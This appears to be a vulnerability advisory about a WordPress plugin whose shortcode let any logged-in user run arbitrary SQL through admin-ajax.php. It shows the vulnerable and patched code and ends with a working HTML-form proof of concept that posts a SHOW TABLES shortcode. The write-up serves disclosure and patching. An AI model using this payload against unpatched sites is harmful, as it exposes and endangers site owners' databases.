Vulnerability Details: Authenticated SQL Query Execution Vulnerability in EZ SQL Reports Shortcode Widget and DB Backup
From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.
In the changelog for version 4.17.38 of EZ SQL Reports Shortcode Widget and DB Backup one of the entries reads:
- Fixed a vulnerability in the shortcodes that could be exploited by subscriber level users, thanks to J.D. Grimes for discovering this WordPress exploit.
Looking at the changes made in that version we could see that the function for one the plugin’s shortcodes ELISQLREPORTS_get_var() had been changed to limit what SQL queries are able to run through it.
In the previous version the plugin would simply run a specified SQL query as specified by the variable $SQL (in the file /index.php ):
950 | $var = $wpdb->get_var(ELISQLREPORTS_eval($SQL), $attr["column_offset"], $attr["row_offset"]); |
In version 4.17.38 that has been changed to limit what can run to specifically allowed queries (the variable $MySQL replaced $SQL):
945 946 947 948 949 950 951 952 953 954 | if (isset($GLOBALS["ELISQLREPORTS"]["reports_array"][$MySQL])) $var = $wpdb->get_var(ELISQLREPORTS_eval($GLOBALS["ELISQLREPORTS"]["reports_array"][$MySQL]), $attr["column_offset"], $attr["row_offset"]); elseif (isset($GLOBALS["ELISQLREPORTS"]["reports_array"][$GLOBALS["ELISQLREPORTS"]["reports_keys"][$MySQL]])) $var = $wpdb->get_var(ELISQLREPORTS_eval($GLOBALS["ELISQLREPORTS"]["reports_array"][$GLOBALS["ELISQLREPORTS"]["reports_keys"][$MySQL]]), $attr["column_offset"], $attr["row_offset"]); else { if ($MySQL = array_search($MySQL, $GLOBALS["ELISQLREPORTS"]["reports_array"])) $var = $wpdb->get_var(ELISQLREPORTS_eval($GLOBALS["ELISQLREPORTS"]["reports_array"][$MySQL]), $attr["column_offset"], $attr["row_offset"]); else $var = "This SQL Query has not been allowed by an Administrator."; } |
The reference to subscriber level seems to be a reference to the fact that anyone logged in to WordPress can access shortcodes through WordPress’ AJAX functionality, which is increasingly been a component of vulnerabilities being identified.
Proof of Concept
The following proof of concept will display name of the first database table, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="parse-media-shortcode" /> <input type="hidden" name="shortcode" value='[sqlgetvar]SHOW TABLES[/sqlgetvar]' /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
I’ve now released a post detailing how I discovered the vulnerability: https://codesymphony.co/arbitrary-sql-and-php-execution-in-wordpress-plugin-via-shortcode/